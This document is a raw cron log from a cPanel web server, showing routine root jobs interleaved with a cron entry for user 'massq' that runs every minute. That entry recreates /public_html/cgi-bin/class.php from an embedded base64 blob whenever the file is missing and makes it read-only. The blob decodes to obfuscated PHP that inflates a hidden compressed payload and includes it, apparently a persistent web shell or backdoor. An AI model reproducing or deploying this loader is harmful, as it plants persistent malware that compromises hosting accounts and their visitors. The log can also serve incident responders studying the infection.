Aug 30 10:53:01 server CROND[15813]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:53:01 server CROND[15814]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:53:01 server CROND[15815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:54:01 server CROND[16201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:54:01 server CROND[16200]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:54:01 server CROND[16202]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:55:01 server CROND[16595]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 10:55:01 server CROND[16598]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:55:01 server CROND[16597]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 10:55:01 server CROND[16599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:55:01 server CROND[16596]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 10:55:01 server CROND[16601]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 10:55:01 server CROND[16608]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:56:01 server CROND[17504]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:56:01 server CROND[17505]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:56:01 server CROND[17506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:57:01 server CROND[17922]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:57:01 server CROND[17925]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 10:57:01 server CROND[17923]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:57:01 server CROND[17924]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:58:01 server CROND[18370]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:58:01 server CROND[18371]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:58:01 server CROND[18372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:59:01 server CROND[18771]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:59:01 server CROND[18772]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:59:01 server CROND[18773]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:00:01 server CROND[19187]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 11:00:01 server CROND[19189]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 11:00:01 server CROND[19192]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 11:00:01 server CROND[19196]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Aug 30 11:00:01 server CROND[19198]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:00:01 server CROND[19191]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 11:00:01 server CROND[19197]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 11:00:01 server CROND[19194]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:00:01 server CROND[19195]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:01:02 server CROND[20022]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:01:02 server CROND[20024]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:01:02 server CROND[20025]: (root) CMD (run-parts /etc/cron.hourly)
Aug 30 11:01:02 server CROND[20023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:01:02 server run-parts(/etc/cron.hourly)[20025]: starting 0anacron
Aug 30 11:01:02 server run-parts(/etc/cron.hourly)[20044]: finished 0anacron
Aug 30 11:02:01 server CROND[20512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:02:01 server CROND[20513]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:02:01 server CROND[20514]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:03:01 server CROND[20918]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:03:01 server CROND[20919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:03:01 server CROND[20920]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:04:01 server CROND[21373]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:04:01 server CROND[21375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:04:01 server CROND[21374]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:05:01 server CROND[21775]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 11:05:01 server CROND[21773]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
